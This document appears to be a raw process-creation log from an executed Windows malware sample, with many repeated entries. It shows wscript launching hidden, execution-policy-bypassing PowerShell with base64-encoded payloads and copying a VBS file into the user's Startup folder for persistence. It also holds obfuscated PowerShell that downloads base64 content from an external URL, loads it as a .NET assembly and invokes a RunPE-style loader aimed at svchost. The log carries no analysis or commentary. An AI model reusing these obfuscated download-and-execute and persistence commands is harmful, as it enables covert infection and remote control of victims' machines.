Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnezb9dxjsid0gezf9ahr0chmnkyc6ly9pytywjysnmdewmc51cy5hcmnoascrj3zllm9yzycrjy8ync9pjysndgvtcycrjy9kjysnzxqnkydhjysnac1ub3rllxyvrgv0ywgnkydob3rlvicrjy50ehr7mx07ezankyd9ymfzzty0q28nkydudgvudcankyc9jysniccrjyhozxctt2inkydqzwn0ifn5jysnc3qnkydlbs5ozscrj3quvycrj2viq2xpzscrj250ks4nkydeb3dubccrj29hzfn0jysncmlujysnzyh7mccrj30nkyd1cmwpo3snkycwfwjpbicrj2fyjysneunvbicrj3rlbicrj3qgpscrjyankydbu3lzdgvtlknvbnzlcnrdjysnojonkydgcm9tqmenkydzzty0u3ryaw5nkhswfwjhc2unkyc2nenvbicrj3rlbnqpo3swfwfzc2unkydtymwnkyd5iccrjz0nkycgw1jlzmxly3rpb24uqxmnkydzjysnzw1ibhldojonkydmbycrj2fkkhswfwjpbmenkydyeunvbnrlbnqpo3swfxr5cccrj2ugjysnpsb7jysnmh0nkydhc3nlbscrj2jses5hzxrujysnexankydlkhsxfvinkyd1blbfjysnlkhvjysnbwv7jysnmx0po3swjysnfscrj21ljysndghvzca9ihswfxr5cguur2v0twv0ag9kkhsxfvzbjysnsxsxfscrjyk7ezb9jysnbscrj2unkyd0accrj29klklujysndicrj29rzsh7mh1udscrj2xslcbbb2jqzscrj2n0wycrj11djysnqch7mx0nkycwjysnl2dkmwsnkydtjysnl2qvjysnzwuuzscrj3rzyxavlzpzchr0ahsxjysnfscrjyasjysnihsxfwrljysnc2f0jysnaxzhzg97mscrj30nkycglcb7mscrj31kzxnhdgl2yscrj2qnkydvezf9icwgezf9jysnzgunkydzyxrpdmfkb3snkycxfsx7mx1djysnyscrj3nqbycrj2x7mx0nkycsezenkyd9eycrjzf9ksknks1micbby2hbul0znixby2hbul0zoskgfellea==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [system.io.file]::copy('c:\users\public\documents\pow\wm.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnezb9dxjsid0gezf9ahr0chmnkyc6ly9pytywjysnmdewmc51cy5hcmnoascrj3zllm9yzycrjy8ync9pjysndgvtcycrjy9kjysnzxqnkydhjysnac1ub3rllxyvrgv0ywgnkydob3rlvicrjy50ehr7mx07ezankyd9ymfzzty0q28nkydudgvudcankyc9jysniccrjyhozxctt2inkydqzwn0ifn5jysnc3qnkydlbs5ozscrj3quvycrj2viq2xpzscrj250ks4nkydeb3dubccrj29hzfn0jysncmlujysnzyh7mccrj30nkyd1cmwpo3snkycwfwjpbicrj2fyjysneunvbicrj3rlbicrj3qgpscrjyankydbu3lzdgvtlknvbnzlcnrdjysnojonkydgcm9tqmenkydzzty0u3ryaw5nkhswfwjhc2unkyc2nenvbicrj3rlbnqpo3swfwfzc2unkydtymwnkyd5iccrjz0nkycgw1jlzmxly3rpb24uqxmnkydzjysnzw1ibhldojonkydmbycrj2fkkhswfwjpbmenkydyeunvbnrlbnqpo3swfxr5cccrj2ugjysnpsb7jysnmh0nkydhc3nlbscrj2jses5hzxrujysnexankydlkhsxfvinkyd1blbfjysnlkhvjysnbwv7jysnmx0po3swjysnfscrj21ljysndghvzca9ihswfxr5cguur2v0twv0ag9kkhsxfvzbjysnsxsxfscrjyk7ezb9jysnbscrj2unkyd0accrj29klklujysndicrj29rzsh7mh1udscrj2xslcbbb2jqzscrj2n0wycrj11djysnqch7mx0nkycwjysnl2dkmwsnkydtjysnl2qvjysnzwuuzscrj3rzyxavlzpzchr0ahsxjysnfscrjyasjysnihsxfwrljysnc2f0jysnaxzhzg97mscrj30nkycglcb7mscrj31kzxnhdgl2yscrj2qnkydvezf9icwgezf9jysnzgunkydzyxrpdmfkb3snkycxfsx7mx1djysnyscrj3nqbycrj2x7mx0nkycsezenkyd9eycrjzf9ksknks1micbby2hbul0znixby2hbul0zoskgfellea==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [system.io.file]::copy('c:\users\public\documents\pow\wm.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnezb9dxjsid0gezf9ahr0chmnkyc6ly9pytywjysnmdewmc51cy5hcmnoascrj3zllm9yzycrjy8ync9pjysndgvtcycrjy9kjysnzxqnkydhjysnac1ub3rllxyvrgv0ywgnkydob3rlvicrjy50ehr7mx07ezankyd9ymfzzty0q28nkydudgvudcankyc9jysniccrjyhozxctt2inkydqzwn0ifn5jysnc3qnkydlbs5ozscrj3quvycrj2viq2xpzscrj250ks4nkydeb3dubccrj29hzfn0jysncmlujysnzyh7mccrj30nkyd1cmwpo3snkycwfwjpbicrj2fyjysneunvbicrj3rlbicrj3qgpscrjyankydbu3lzdgvtlknvbnzlcnrdjysnojonkydgcm9tqmenkydzzty0u3ryaw5nkhswfwjhc2unkyc2nenvbicrj3rlbnqpo3swfwfzc2unkydtymwnkyd5iccrjz0nkycgw1jlzmxly3rpb24uqxmnkydzjysnzw1ibhldojonkydmbycrj2fkkhswfwjpbmenkydyeunvbnrlbnqpo3swfxr5cccrj2ugjysnpsb7jysnmh0nkydhc3nlbscrj2jses5hzxrujysnexankydlkhsxfvinkyd1blbfjysnlkhvjysnbwv7jysnmx0po3swjysnfscrj21ljysndghvzca9ihswfxr5cguur2v0twv0ag9kkhsxfvzbjysnsxsxfscrjyk7ezb9jysnbscrj2unkyd0accrj29klklujysndicrj29rzsh7mh1udscrj2xslcbbb2jqzscrj2n0wycrj11djysnqch7mx0nkycwjysnl2dkmwsnkydtjysnl2qvjysnzwuuzscrj3rzyxavlzpzchr0ahsxjysnfscrjyasjysnihsxfwrljysnc2f0jysnaxzhzg97mscrj30nkycglcb7mscrj31kzxnhdgl2yscrj2qnkydvezf9icwgezf9jysnzgunkydzyxrpdmfkb3snkycxfsx7mx1djysnyscrj3nqbycrj2x7mx0nkycsezenkyd9eycrjzf9ksknks1micbby2hbul0znixby2hbul0zoskgfellea==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
